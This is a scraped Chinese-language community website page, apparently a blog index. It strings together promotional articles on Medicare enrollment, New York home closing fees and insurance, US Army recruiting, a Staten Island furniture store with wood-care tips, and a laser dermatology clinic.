对于红蓝卡D部分或红蓝卡优势计划,每年在10月15日到12月7日之间这个窗口期,可以更改或注册新的计划。所以,如果您决定要更改计划,选择新的保险计划,那么在这个窗口期注册之后,新的保险计划就会在下一年度的1月1日开始生效日期。

如果对目前的保险计划比较满意,不想改变计划的话,那就只要更新(renew)就可以了。其实,如果在这期间,您什么也不做的话,保险计划就会按照新的条款,从下一年的1月1日起自动更新。

如果你对红蓝卡计划的变更和注册还有疑问的话,可以致电联邦医疗照顾和医疗辅助中心, 号码是:1-800-633-4227,电话服务中心提供24小时全天服务。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-11-12 / by / in ,
房屋过户要谨慎 美国纽约房屋过户流程、费用全解析|纽约地产律师

美国的税收制度非常复杂,而纽约的高税率更是臭名昭著。据统计,近20多年来,纽约的州税和地方税都在全美名列前茅。毫无疑问,在纽约买卖房产,在房屋过户时也一定要缴纳名目繁多且高昂的过户费用(closing fee)。

Lan & Associates, P.C.-兰岳律师楼

地址: 3901 Main St #507, Queens, NY 11354

电话号码: (718) 461-9434

网站:http://lanandassociates.com/

美国纽约房屋过户流程

在纽约房屋买卖过程中,一般情况下双方的律师会在合同中约定一个房屋的交割日期(Closing Date),这就是纽约房屋过户日。过户的流程通常是这样:

  • 在房屋过户日之前或当天,房屋的买家要支付所有应付的款项,可以用电汇或是支票的方式。
  • 房屋卖买双方签署产权转让书等各类过户文件,如果买家或卖家不能到场,可以委托其律师签字。卖方把房屋钥匙交给买家。这时买家一般会请在场的人一起合影。
  • 由产权公司或者律师、公证人员前去当地的政府办公室进行房屋的登记注册、变更产权信息。登记就是房屋的买家会拿到一个recording number,一般要等2-4个月才能从公共记录上真正查到房屋变更产权的信息。
  • 房屋的卖家接收扣除了过户费用后剩余的款项。

纽约房屋过户完成以后,卖方把房屋钥匙交给买家。这时买家一般会请在场的人一起合影。(Pixabay)

相关文章:【郭凤丽律师谈楼说市】美国纽约买房前怎样做房屋检验?|纽约房屋产权调查 

纽约房屋过户费用

在纽约,买卖双方共同承担房屋交易完成后的房屋过户费。卖家通常支付所有权和成交费以及转让税。

买家要支付的房屋过户费

在纽约买房,买家要支付的房屋过户费有3方面的内容:

1)买方贷款银行要收取的费用,包括银行的估价费、申请费、律师费,贷款的审批费、贷款保险点数费用等。

2)买家的律师费、房屋产权的调查费和房屋保险、房屋检验费,还有政府的登记费等。

3)政府要收取的贷款税。如果五十万以下的贷款,贷款税是贷款总额的1.8%。五十万以上的贷款,那么就会收取贷款总额的1.925%。

如果买家是全现金购房,可以节省银行的贷款费用和政府收取的贷款税。

在纽约买房,买家要支付的房屋过户费一般在房价的 1.5% 到 5% 之间。

纽约房屋过户费用,由买卖双方共同承担。(Pixabay)

在纽约购买新房一些额外的费用

在纽约,当买家向开发商购买第一手的房产,有一些的费用是由买家来支付的。

第一项就是卖家的律师费,这会让很多第一次在纽约买房的买家非常吃惊,卖方的律师费怎么会由买家来出呢?但在纽约购买新房约定俗成就是这样的。一般开发商的律师费会在3000到5000美元不等。

第二项就是房产的交易税(transfer tax)。

纽约市的房产交易税,如果房价五十万以下是收1%,五十万以上是收1.425%。纽约州的房产交易税房价如果是在三百万以内,一律是0.4%,三百万以上的房产是收0.65%。

购买纽约新公寓一些特殊的费用

在纽约,购买新的公寓还有一些特殊的费用,也是由买家来支付的。

一是管理基金贡献费。这笔钱将作为公寓管理的启动基金。基本上是两到三个月的物业管理费。

第二个就是管理员入住单元的购买费,这个是按照你购买单元的比例来分摊的。

第三个,如果大楼有减税的政策,买家还需要缴纳减税的申请费。

所以如果是贷款来购买纽约的新楼盘,房屋过户的费用是比较高的。差不多是房价的5%到6%左右。 不过上面的这些特殊的费用,买家很多时候可以通过房产经纪人和开发商谈判进行部分的减免或者共同来分担。所以这是需要谈判的一个部分。

纽约的豪宅税 

纽约豪宅税(Mansion Tax)是一种房地产转让税,专门针对价格超过某一特定金额的房产进行征收。税额是房价的1%到3.9%之间。房价在一百万到两百万美元之间的房产,豪宅税是房价的1%。

对大多数购房者来说,纽约豪宅税Mansion Tax是最大的交易成本之一。

纽约房屋过户卖家需要承担的费用

当您在纽约出售房屋时,您将支付房屋最终售价的 1.1% 左右作为房屋过户费,包括消费税、房产税、过户公证费等。这不包括房地产经纪人费用。

纽约房屋过户卖家需要承担的费用,包括过户公证费、消费税、房产税等。

对于 380,000美元的房屋——纽约的房屋价值中值——你需要支付大约 4,294 美元。

纽约房屋过户签署文件要注意

纽约房屋过户的各种文件非常复杂,有的甚至有几十、上百页。但是在签署文件时有两点要特别注意: 在合同上要确认好这个房屋的地址, 确认房屋的成交价格。

本文的内容为公益性质的信息分享,仅供参考,并不构成对任何具体问题的法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约房地产律师

郭凤丽房地产律师 718-888-8720/紐約 房產 律师/ 纽约房地产律师/纽约房屋买卖/纽约房屋买卖律师/纽约买房/法拉盛房产律师

鼎略律师事务所-王惠律师 917-791-5009

纽约最好地产纠纷律师718-886-8670高开颺律师事务所/专业建筑纠纷律师/房屋违建

2019最优秀地产律师(929) 380-7766/最值得信赖的律师事务所:Patrick Archer律师事务所

玛乔瑞律师(The Law Offices of Marjory Cajoux)  718-237-0411

 

2021-11-11 / by / in , , , , ,
美国陆军招募员 提供高中生职业规划 | 学校培训服务 陆军职业种类 美国军人福利

如果您是一位美国高中生,正迷茫于自己将来的职业发展方向,可以找美国陆军招募员聊一聊,听听他们的见解。如果您是学校的管理者,想要为学生和职员拓展更多的知识与技能,不妨邀请美国陆军招募员到学校提供实地的培训。

美国陆军招募员提供学校服务

客座演讲

讲师到学校现场演讲,话题包括以下内容:

  • 领导力;
  • 军事史;
  • 体育;
  • 心肺复苏/急救;
  • 法律/法律执行/模拟法庭;
  • 职业道路;
  • 高等教育;
  • 烹饪艺术;
  • 电子/网络技术/IT;
  • 医疗技术 / 职业

美国陆军提供的学校培训

军事演示

陆军招募员可以在学校活动中提供军事装备和演示。您可以向陆军招募员咨询有关静态展示、移动展示和诊所的详细信息。军事展示主要包括以下主题:

  • 军事职业技能;
  • 军乐队;
  • 体育比赛;
  • 工程技术;
  • 设备展示,包括:车辆、通讯设备、雷达设备。

领导力

陆军招募员会和学生深入探讨以下话题:领导力、公民身份、公开演讲、欺凌预防和干预、职业探索和身体素质。

工程和科学知识培训

美国陆军拥有世界领先的科学和工程技术,包括:机器人、网络安全、医学、科学、航空、边缘科学等。可以联系陆军招募员获取更多这方面的信息。

美国陆军为学生提供工程技术培训 (图片:usaeop.com)

团队建立

如果学校想要建立更有凝聚力的学生或教职员工团队,这个也可以交给陆军招募员,他们会为学生和职员提供团队建立的机会和练习。

职业规划

陆军招募员是训练有素的职业规划师。他们可以为学生准备详细的职业规划研讨会。研讨会的内容包括:职业评估、兴趣清单和目标反思。陆军招聘员提供各类职业规划工具。对于准备上大学和就业的学生来说,这无疑是非常宝贵的资源。

身体素质训练

陆军招募人员是体能教练专家,并能为学生和提供特别的健身诊所。

您可以点击网站www.ueaeop.com, 获取更多的详细信息。

美国陆军提供多种类职业

美国军队为年轻人提供各类职业规划和训练的同时,也成就了参军者的人生梦想。陆军本身提供的职业范围就很广,包括了从军事到商业等各个领域超过150多种不同的职位,可以让年轻人在各自擅长的领域学习技能,并且获得成功。

不少父母会担心,参军这个职业是否意味着危险。其实,美国陆军中有很多工作都是在办公室中的,非常安全。军队中也有很多和社会上同样的职业,比如:IT、医疗、财务、法律、修理、驾驶员、翻译等。在陆军中有150多种工作可以选择。

青年成功伙伴项目 (PaYS, the Partnership for Youth Success Program)是美国陆军与各个公司、联邦公共部门机构之间的战略伙伴关系。这个项目保证士兵在军队服役后,有合作公司的面试和就业的机会。这项独特的计划是陆军与美国商界合作和努力的一部分。

美国陆军有多样化的职业

美国军队通过协议备忘录与公司、公共部门、州和联邦机构合作,符合条件的士兵,服役期满后有机会选择五个 PaYS 合作伙伴公司。

同时,美国政府为军人提供的福利也很优厚。陆军会提供学费帮助军人们完成高等教育。例如,陆军的大学预备军官团(ROTC)奖学金计划,使军人可以通过网络及夜间课程挣学分,同时省下75%的学费,进而还可以一步一步获得大专、大学、硕士甚至博士学位。

根据《美国军人权利法》,军人们享有大学学费补助,每月有房屋津贴;军人及他的家庭享受低价甚至免费的医疗保障;每年有30天的带薪假期;而且退役后还有各种津贴,联邦政府还会为退伍军人支付在公立大学接受四年学位教育的经费。

美国陆军纽约市征兵营招募最优秀、最聪明的人在美国陆军服役,在纽约市、威彻斯特和长岛有超过 35 个征兵站。你可以服役2年、4年或更长时间!如果年轻人有意在军队中发展自己的职业生涯,扫描二维码或登录以下网站了解更多的详细内容:

如何报名 :https://bit.ly/3EixzaR

怎样报名参军?

想要报名参军,可以直接在美国陆军网站上申请,也可以找陆军在全美各地设立的招募点,招募官员会根据您的需求和目标,为您量身定制参军计划,帮助您实现当兵梦想,快速融入美国军队。

 

扫描填表,招募官会为你解答问题。

如何通过美国陆军新兵招募?

美国陆军各類奖金:获得額外收入

美国陆军招聘/兼职/全职/纽约参军/当兵福利/大学学费减免

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陆军培训职业大全

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媒 体 报 道

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3、纽约女兵军旅生涯 活出精彩人生 《点击阅读》

4、老兵节上话征兵 在美国当兵好处多《点击阅读》


士兵的故事

 

1. SGT Marlene Garcia 民政专员

通过陆军预备役成为你想要成为的人。对我来说,作为一名陆军预备役士兵,看到我正在改变别人的生活,这让我感到非常高兴。 姓名: SGT Marlene Garcia 职位:民政专员(38B)服务类型:陆军预备役。玛琳·加西亚中士最初是一名大学二年级学生,她正在努力支付学费。 自从她加入军队以来,她取得的成就超出了她的想象。

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2. CPT Shimul Patel、CPT Mark Hardin 和 MAJ Karen Callaghan

工作:普通外科医生

陆军奖学金帮助陆军医生取得成功。作为健康专业奖学金计划的一部分,作为一名医学生,我有机会获得一点额外的收入——该计划支付你的学费和书本费。姓名:CPT Shimul Patel、CPT Mark Hardin 和 MAJ Karen Callaghan 工作:普通外科医生 (61J) 服务类型:现役。三位年轻的陆军外科医生描述了他们成为普通外科医生的途径、实践陆军医学和进入卫生专业奖学金计划的优势。

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3.  Martha Morales

工作:牙科队 HPSP 学生

服务类型:现役

感谢陆军的卫生专业奖学金计划 (HPSP),与伊利诺伊大学的牙科学生玛莎·莫拉莱斯少尉会面。

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4. MAJ Otto Padron Univision 高级副总裁

感谢美国军队,攀登企业阶梯。ROTC 计划很像 MBA。姓名:MAJ Otto Padron 工作:步兵军官(11A)服务类型:陆军预备役。与陆军预备役少校兼 Univision 高级副总裁 Otto Padron 会面,了解陆军如何帮助他取得今天的成就。

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5. CPT Sabra Owens 陆军法官总检察长

JAG Corps 的律师立即行动起来。我想从事公共服务并改变人们的生活,我觉得 JAG Corps 给了我这样做的机会。姓名:CPT Sabra Owens 工作:陆军法官总检察长 (27A) 服务类型:现役。听听 Sabra Owens 上尉谈论她在 JAG Corps 的经历以及它为何如此独特。
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6. SGT Scott Vahovick 节点网络系统操作员-维护员 (25N)

服务类型:陆军预备役

认识斯科特·瓦霍维克中士,一个自称为“计算机极客”的人,描述他们所做的最接近的方式是我们基本上在世界任何地方建立了一个网吧。 JNN 是陆军通信系统的核心。 我的工作是设置和维护这台机器。 我们有很多很棒的玩具。 JNN,STT’S,与我在军队中使用的东西相比,我在平民工作中使用的东西开始显得苍白无力。

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7. CPT Michelle Hoangquocgia 和 CPT Derick Mundey

工作:麻醉师(60N)服务类型:现役

故事简介:

Hoangquocgia 上尉:我认为为我们提供的军队医疗机会非常可观,一个明显的原因是资金;他们为我们提供了支付学费的机会。

Mundey 上尉:口袋里有一些钱,上医学院的日子会轻松一些。

Hoangquocgia上尉:军队给你津贴,每月津贴,除了支付学费之外,他们还支付你所有的医学文献和教科书。

Mundey 上尉:在军队中,我可以做一个平民麻醉师可以做的一切,但我有很多其他机会,我没在军队的同学就没有这些机会。我必须环游世界;我在伊拉克的沙漠和阿富汗的山区进行麻醉。因此,当您与任何其他医院的麻醉师相比,我的机会和经验是首屈一指的。团队合作肯定更容易,你的压力更小,并确保我们做正确的事情。

Hoangquocgia 上尉:很高兴我们能够拥有轻松的环境,在那里我们可以真正专注于我们的专业,专注于麻醉学并为患者提供最好的护理。我对自己的工作感到非常自豪;我认为在沃尔特·里德 (Walter Reed) 为受伤的战士提供护理是一次非常有益的经历。并且能够为他们提供护理并让他们在麻醉经历后醒来并说谢谢你们带我度过这一切你们一直是一个很棒的团队照顾我只是你知道的每一个人我与一名受伤战士的每一次经历都让我感动,因此与我工作过的任何其他平民医疗中心相比,这里绝对是独一无二的回报。

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8. CPT Susan Mosier 和 CPT Andrew Mosier 诊断放射科医生(61R)

服务类型:现役

认识夫妻团队 Andrew 和 Susan Mosier,他们都是卫生专业奖学金计划 (HPSP) 的参与者。 听他们谈谈获得陆军奖学金和成为已婚夫妇的感觉。

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9. SPC Daniel Lopez UH-60直升机修理工(15吨)

服务类型:陆军预备役

从机械师到乘务长,再到最终成为飞行员,了解陆军预备役如何为专家丹尼尔·洛佩兹 (Daniel Lopez) 提供一条实现人生目标的清晰道路。

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10. CPT Samuel Sama 重症监护护士(66S)

服务类型:现役

认识陆军重症监护护士塞缪尔·萨马 (Samuel Sama) 上尉。 当 9/11 发生时,萨马想提供帮助,这让他的护理事业开始了。担任陆军护士团军官是您作为平民所能从事的任何护理工作都无法比拟的。

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2021-11-11 / by / in , , , ,
纽约选购家具去哪里|纽约史丹顿岛家具店是最好的选择|纽约高档家具清洁和保养技巧

文|雨荷

到美国生活的华人朋友,无论打算租房子还是买房子,都需要买家具。家具不仅仅是家中摆设。还能助我们打造出舒适、实用、彰显个性风采的空间。家具还可以创造更加美好的日常生活。美国的家具市场很大,很多华人朋友由于初到美国无从下手,不知如何选购。下面小编为您介绍一家纽约史丹顿岛的家具经商公司,以及高档家具清洁和保养技巧。

纽约史丹顿岛家具店Staten Island Furniture Inc坐落于纽约史丹顿岛,超大展厅,主营各类家居饰品,床垫,卧室寝具,灯具,饰品等,也有适合办公家具以及娱乐中心家具和餐厅家具,总类齐全,应有尽有。纽约史丹顿岛家具店Staten Island Furniture Inc包罗万象。从轻松质朴的美式复古休闲风格,到徘徊于历史与现代之间、兼具粗旷与时尚的都市工业风格,到优雅大气的新式经典,简约时尚的美式现代风格,再到纯真悠闲的质朴自然风格。价格既有几百美元的,也有高端家居几千美元的,适合纽约高中低收入的消费群体。为客户专业送货安装,欢迎到店选购或致电订购:(718) 351-8400。

这是纽约史丹顿岛家具店Staten Island Furniture Inc家具照片

家不只是一套房子,更是您避风的港湾。为您提供外观出众、丰富实用的产品,让您摆脱潮流束缚,轻松满足您现实生活的需要,打造一个专属于您的梦想之家。用品质与价值为您倾心打造每一个空间,希望助您尽展个性风采,自由挥洒创意,成为您值得信赖的合作伙伴。纽约史丹顿岛家具店Staten Island Furniture Inc经销4大国际品牌家具,这4大品牌各有特色,下面是简单介绍。

一:A I C O 家具 

A I C O 家具产品线包括完整的家私系列产品,高级室内装饰品系列,床上用品系列,和装饰摆设系列。经典 AICO欧式豪华高档家私,大师设计,高贵典雅,完美融合温哥华的品位和气质。26年来, AICO以创意,高端和精美家居设计而闻名。 CEO和创始人Michael Amini在设计中融入了东西方各国的文化风格,引导了当今高档家私的时尚潮流。Michael不仅热衷于产品的设计,也非常重视家具的品质。质量和创新是Michael的承诺。比如精美的雕刻床头板,天鹅绒内衬抽屉,独特的照明功能,宽大舒适的座椅等,都是结合了人们需求的变化和美学的完美设计。Michael的信念是家具不仅要给家庭带来美丽和精致的美学设计,也要能满足消费者不断变化的功能需求。

A I C O 家具产品线包括完整的家私系列产品,高级室内装饰品系列,床上用品系列,和装饰摆设系列。 示意图

二:AMERICN DREW 家具  

在美国、加拿大及全球,American Drew分布着近千个经销点。American Drew始建于1927年,是来自美国的主要整体家具品牌,总部位于北卡罗来纳州。近百年来American Drew一直秉承于提供中高档价位的卧室、餐厅、书房及客厅等配套家具。其产品涵盖了从18世纪流传下来的经典风格至如今正流行的简约时尚风格,满足不同品位的广大新老客户的需求。

三: ESF 家具

ESF(欧式家具)成立于 1996 年,当时只有三名员工,现已发展成为领先的全国家具批发商。ESF 在史坦顿岛最大的家具仓库拥有大量库存,以确保在美国和加拿大快速可靠地配送,可在短时间内获得您选择的颜色、材料和/或设计的定制产品。公司以具有竞争力的价格提供现代、经典、传统和过渡风格的家居家具。ESF 合作伙伴网络的广度保证将有产品满足最精致的客户需求

四:ASHLEY家具 

Ashley爱室丽家居创始人几十年来一如既往的持之以恒,目前已发展成为北美知名家居品牌。Ashley爱室丽家居始终坚持为新老客户提供时尚的设计、丰富的选择、出众的品质、专业的服务和全屋解决方案,赢得了全球123个国家千百万个家庭的信赖及拥趸。 Ashley爱室丽家居无论是客厅、餐厅、卧室、书房等全屋家具,还是床垫、床品、灯具等各类家居饰品,Ashley爱室丽家居将始终如一地带领消费者尽情领略精彩纷呈的纯正美式家居风格,体验超高性价比的美式实用生活方式。 

Ashley爱室丽家居将始终如一地带领消费者尽情领略精彩纷呈的纯正美式家居风格,体验超高性价比的美式实用生活方式。 示意图

纽约高档家居清洁和保养技巧

您的木制家具通过定期保养和照料,就可以避免维修,并且可以使用数年。并在多年享受中保持最佳状态。为了保护您最喜爱的家具,请遵循这些有用的木制家具清洁和保养技巧。

1. 用肥皂和水清洗。

清洁家具通常只需要一块湿毛巾和温和的洗洁精。清洁后,用不含皂液的湿布冲洗;然后用第三块毛巾擦干表面。避免使用所有含有氨的清洁剂;氨会损坏木制家具。

2.清洁后擦亮家具。

每次清洁木制家具时,都会掉一些上光剂。抛光可以帮助恢复光泽并保护表面。确保使用不含大量酒精的家具上光剂。含有酒精的抛光剂会损坏木饰面。

3. 给家具除尘。

使用柔软、干燥、不起毛的布或刷子为家具除尘。经常除尘有助于保护饰面免受不必要的砂砾和污垢堆积。

4. 用杯垫避免水印

始终使用带有毛毡或软木底部的杯垫,以减少难看的水环。切勿让水停留在木制家具的表面。

纽约高档家居清洁和保养技巧 示意图

5. 热菜使用三脚架。

用天然纤维桌布、烤箱手套或三脚架保护家具免受热盘子的影响。将热盘子和盘子直接放在木质表面上会导致不必要的烧伤痕迹和污渍。

6. 让家具远离阳光直射。

阳光会使家具变干并使木材表面褪色。来自太阳的热量可以熔化饰面并产生难以修复的裂缝。

7. 保护家具远离宠物。

家里毛茸茸的宠物可能会不小心划伤和损坏家具。为防止家具受到伤害,请使用天然纤维桌布、椅套或保护垫保护木质表面。

8. 请勿将咖啡机放在上柜下方。

咖啡机的蒸汽可能会损坏木柜的表面。相反,将咖啡机放在厨房岛或其他开放区域。

水分过多或过少都会影响木制家具。

由于木材会呼吸,因此容易受到干燥和潮湿条件的影响。过多的水分会导致发霉,而过多的干燥会削弱关节并导致您的家具失去自然光泽。保持家具的这种微妙平衡对于年复一年地保持美丽很重要。

纽约高档家居请遵循以下保养技巧,以帮助防止潮湿或干燥损坏您的家具。示意图

纽约高档家居请遵循以下保养技巧,以帮助防止潮湿或干燥损坏您的家具

1.避免将木制家具放置在潮湿的浴室或洗衣区。

2.保持家中一致的温度。剧烈的温带变化会影响湿度水平,从而在空气中产生更多水分。

3.不要让您的家变得太干燥。过度干燥的区域会导致您的木制家具收缩、裂开或变脆。

4.防止木材表面与水直接接触。将玻璃表面放在桌面上或使用杯垫、三脚架和天然纤维桌布和垫子来保护您的家具免受热表面或湿表面的影响。

5.切勿让水分滞留在玻璃和木材表面之间。在更换玻璃之前,确保表面完全干燥。

纽约史丹顿岛的家具城

地址: 1832 Hylan Blvd, Staten Island, NY 10305

电话号码: (718) 351-8400

网站:https://statenislandfurnitures.com/

 

2021-11-11 / by / in , , , , , , , ,
古朴典雅又不失其华贵的家具 是美国主流社会的首选
让人欣赏的高雅文化

不仅仅是装饰 还是让人欣赏的高雅文化

当我们买到一套心仪的房子后,挑选和购买什么样式的家具来妆点这套新屋,就成了我们最为重要的课题。
因为家具不光是房间的摆设,也不仅仅是为了我们生活上的方便。更重要的是它还体现了这家主人的身份、地位、爱好、品味等等;不仅如此,家具还是一个时代文明的象征,也是一种让人欣赏的高雅文化。
那么要想买上一套称心如意的家具,我们首先就要了解家具的历史,它的种类以及美国主流社会的人喜欢什么样的家具等等。
一,家具的历史
在中国五千年的文明史上,家具的历史可以追溯到四千多年前的夏朝时代。也许有的朋友对如此久远的年代会感到惊讶!因为在人们的思想概念中,四千多年前人类是没有现代科学而言的,怎么会出现家具这种文化呢?是的,那时是不可能有现代的科学文明,但是却有着更加先进的中华古老的科学,以及更加灿烂的中华文明。只是随着时间的推移,这古老的科学逐渐的被失传和丢弃了。
我们前面讲到了,家具它是一个时代文化的体现,由于中国每个朝代文化的不同,家具的风格也不同。
在我国夏商时期的家具属于初始阶段,其造型纹饰原始古拙,质朴浑厚。这一时期家具有青铜家具(如青铜俎)石质家具(如石俎)和漆木镶嵌家具(如漆木抬盘)。漆木镶嵌蚌壳装饰,这些家具的出现为后世开创了漆木螺钿嵌家具的先河。
在我国古代家具分为几、案、屏风、床、桌、椅、凳、高几、长案、柜、衣架、巾架、盆架、镜台等等,种类繁多,品种齐全。由于各个朝代文化上的差异,对于家具制作的工艺手法,图案、雕刻,表现形式都有所不同,但是都有其共同的特点,就是具有浓厚的中国传统气派,这些都成了中国传统文化的一个组成部分。尤其是到了明朝,家具的风格与样式及种类均达到了历史的顶峰,现在人们所能继承下来了只是很少的一部分,也就是中国现在所流传的苏式家具。
然而中国明朝时期的家具文化却一直对美国的家具业产生着重大影响。这是为什么?这个问题对于现在的人类来说还是一个未解开的迷。

富丽堂皇的欧式家具

具有皇家气派的欧式家具

二,美国的家具业
1,家居的多元素
我们都知道美国是一个移民国家,美国最早的移民是来自于欧洲各个国家,所以其家具的特点也包含欧洲各个国家的元素,有英国古典的安妮女王式,有近代英国的使命派元素,也有法国路易十四的巴洛克风格,路易十五的洛可可风格,路易十六的新古典风格,还有德国,意大利,西班牙的元素。所有这些元素,最后都被美国所包揽融合。
这些融合后的元素,却形成了美国家具业一个独特的风格。
2,舒适
在美国,舒适是很多美国人选择家具的主要选项。所以美国人在采购床和沙发时,习惯先坐在上面亲身体验一下其舒适度,如果不舒服,家具的造型、做工什么的就会一概不看。这也可以说是美国人的一大特点吧!
3,仿古家具
美国主流社会的人还是比较崇拜仿古,所以古典风格(大美式),在美式家具一直占有一席之地。高大,厚重的外形,细腻精致的细节,原始、自然、纯朴的色彩,给人一种贵而不露的感觉。做旧,是古典风格的一大特点,风蚀、虫蛙、喷损、锉刀痕、马尾、蚯蚓痕……都是美式古典家具经常使用的手法。

古色 古香 古韵味是美国主流社会的偏爱

古色 古香 古韵味是美国主流社会的偏爱

4,主流的选择
在美国,主流社会对家居的偏爱,不是像欧洲家具那样奢华,富丽堂皇。而是追求低调的奢华,感觉更像一个真实的温馨的家庭,不会有酒店或者办公室的感觉,让人一看到就有一种回家的舒适和随意。
所以在美国一直保留了传统美式家具的材质和色彩特点,在坚持原本的历史文化内涵的同时,又摒弃了过于复杂的装饰,简化了线条,造型更简洁明快,雕花图案退居次要位置,取而代之的是硬朗的直线条,并融入了宝瓶腿等韩式中式家具元素,具有内敛、沉稳、古朴特点。
这些特点更像是中国明朝时期的家居风格。明代是中国古典家具发展的黄金时期.明式家具多采用硬木,以黄花梨,紫檀木最为常见.结构采用小结构拼接,使用榫卯,造型上注重功能的合理性与多样性,既要符合人的生理特点,又富贵典雅,是艺术与实用的结合,明式家具极少漆,也没有过多的装饰,突出木色纹理,体现材质美,形成清新雅致,明快简约的风格。
这种风格与美国的主流社会对对家居的欣赏极其的相似,简明、古朴,不仅方便、实用,还具有其高雅的艺术欣赏价值。
所以在1990年,世界上第一所中国古典家具博物馆-美国加州中国古典家具博物馆-在美国加州[文艺复兴山庄创立,创办人是美国明式家具收藏家柯惕思(Curtis Evarts)。此博物馆收藏世界一流的明朝式样家具。
中国有句俗话:物以类聚人以群分。由于每个人在社会所担当的角色不同,自然对事物的认识、欣赏、追求等等也会不同。那我们就根据自己不同的身份、不同的喜好来选择适合于我们自己的家具。
有些朋友对家具行业可能还不了解,那我们在此给大家推荐在纽约史丹顿岛的一家家具店,这家家具店具是四家品牌的代理:ESF 家具 、ASHLEY家具 、AMERICN DREW 家具 、A I C O 家具。
Staten Island Furniture Inc.4.3
纽约史泰登岛的家具城
服务选项: 店内购买 • 送餐
地址: 1832 Hylan Blvd, Staten Island, NY 10305
营业时间:
营业中 ⋅ 20:00结束营业
电话号码: (718) 351-8400

2021-11-09 / by / in , ,
美国纽约房屋保险全解析 房屋保险费用、种类、理赔范围|纽约地产律师

无论您住在纽约州的哪个地方,购买房屋保险都是明智的决定,可以帮助您规避房屋遭受意外事件(例如盗窃、火灾或自然灾害)带来的损失。虽然法律没有要求屋主必须购买房屋保险,但是如果是贷款买房,银行一般都会要求借款人购买房屋保险。

纽约住宅房屋保险的种类

纽约房屋保险分为四类:房屋施工保险、出租屋保险、自住屋保险和空屋保险。

出租屋保险是房子租给房客后,万一房屋发生漏水、火灾等状况,屋主的房屋保险会帮助房屋修复,但是房客的家具、衣物等个人财产并不包含在房屋险内。

纽约房屋保险的范围:

纽约的大多数房屋保险单包括以下可自定义的承保类型:

  • 住宅– 这包括在遭受破坏性危险(例如风灾或火灾)后重建房屋。此类别的承保限额通常等于您房屋的总价值。在签署保单之前,请咨询评估专家以获取有关您房屋价值的建议,以确保您购买正确的保险金额。
  • 个人财产— 此保险可保护您的个人物品,通常相当于住宅保险限额的 70% 左右,但 Lemonade 等公司允许您根据自己的保险需求定制此限额。清点您的财物以确定它们的价值,然后将您的承保限额设置为尽可能接近该金额以确保获得全面保护。
  • 无法使用——如果您因承保事件造成的损坏而被迫搬迁,您可能有资格获得使用损失索赔,以帮助支付额外的生活费用。此类保护的承保限额将取决于您的家庭保险公司和索赔的详细信息。
  • 结构损坏——此保险通常包括您的住宅保险的 10% 的限额。它涵盖对不属于您家的结构的损坏,例如后院棚屋或围栏。
  • 个人责任——责任保护是一种不同形式的保险,如果您要对他人在您的房屋上受到伤害负责,它最多可以支付与事故相关的医疗费用和法律费用的约定金额。
  • 向他人支付医疗费用——如果有人在您家中受伤,他们的医疗费用可以在此类别中承保,因为该伤害将被视为对您的财产造成的无过错伤害。

相关文章请点阅:【郭凤丽律师谈楼说市】美国纽约买房前怎样做房屋检验?|纽约房屋产权调查

纽约房屋保险中的必保项目:

冰雹、火灾(Fire Insurance)、第三者故意破坏、抢劫、偷窃、爆炸、闪电击中,在纽约都是最基本的必保的房屋保险。

纽约的房屋保险费用是多少?

纽约的房屋保险费率取决于多种因素,例如房产的地理位置、房屋的价值、个人信用记录等。

在犯罪率很高的地区,房屋被破坏的可能性大,保费相对就会高;如果房屋位于易发生龙卷风或森林火灾的地区,保费也会高。

有一些比较老旧的房屋,供电线路、供暖系统、各种管道以及屋顶等设施更容易出现状况,所以老房子的保费通常也会比较高。

纽约市价值约 650,000 美元的 1,800 平方英尺单户住宅的保险费报价,平均每月的保费为 202.33 美元 对于纽约东阿默斯特市价值 375,000 美元的同等面积的房屋,平均每月保费为77.66 美元

独立屋(house)的保险费要比Condo的保险费高出很多。

纽约三家主要保险公司Allstate、Lemonade、Liberty Mutual有关房屋保险的比较

提供者 Allstate Lemonade Liberty Mutual
个人财产保险限额 60% 或 75% 的住宅 40%–83% 的住宅 70%的住宅
责任险限额 100,000 美元、200,000 美元、300,000 美元、500,000 美元 100,000 美元、200,000 美元、300,000 美元、400,000 美元、500,000 美元、100 万美元 100,000 美元、200,000 美元、300,000 美元或 500,000 美元
每月保费 99.00 美元 49.92 美元 84.00 美元
附加部分 屋顶表面扩展覆盖、水资源保护、绿色改进 乐器保险、重要其他保险、游泳池责任保险 备用水和污水泵溢流保护,额外的飓风覆盖
客户服务 24/7索赔支持 通讯或在网站联系 24/7索赔支持

房屋保险是否涵盖暴风雪造成的损坏?

家庭保险通常涵盖暴风雪造成的损坏。例如,如果您的屋顶因雪或冰的重量而倒塌,屋主可以提出索赔以进行维修或更换任何损坏的个人财产。但是,如果由于维护不当,雪或冰导致屋顶倒塌,可能不容易得到赔偿。

在纽约房屋保险中有些项目不会自动承保,譬如,游泳池,宠物、污水倒流(Sewage Backup)的损失等,所以投保前要先了解保险公司在这方面涵盖的内容。

本文的内容为公益性质的信息分享,仅供参考,并不构成对任何具体问题的法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约房地产律师

郭凤丽房地产律师:電話:718-888-8720/紐約 房產 律师/ 纽约房地产律师/纽约房屋买卖/纽约房屋买卖律师/纽约买房/法拉盛房产律师

纽约最好地产纠纷律师718-886-8670高开颺律师事务所/专业建筑纠纷律师/房屋违建

2019最优秀地产律师(929) 380-7766/最值得信赖的律师事务所:Patrick Archer律师事务所

玛乔瑞律师(The Law Offices of Marjory Cajoux)  718-237-0411

2021-11-09 / by / in , , , , ,
纽约皮肤科专家 镭射脸部祛斑 纹身清除 | 激光去除雀斑 老年斑 胎记 黄褐斑 快速安全

很多女性为了遮盖脸部色斑,比如雀斑、黄褐斑、还有老年斑等皮肤色素沉着的问题,大量使用化妆品,但是长此以往皮肤问题变得越来越严重,甚至于到了不化妆不敢见人的程度。其实,激光治疗脸部色斑、色素沉着,还有清除纹身,是现在医学界普遍认为的最有效和安全的方法。

纽约崔建皮肤专家 崔建医美镭射中心

艾姆赫斯特诊所

地址:87-20 Queens Blvd, Elmhurst, NY 11373

电话:718-685-2112

营业时间:

星期一 09:00–17:30

星期二 09:00–17:30

星期三 09:00–17:30

星期四 休息 星期五 休息

星期六 09:00–12:00

星期日 休息


法拉盛诊所

地址:136-20 38th Avenue, Suite 5H, Flushing, NY 11354

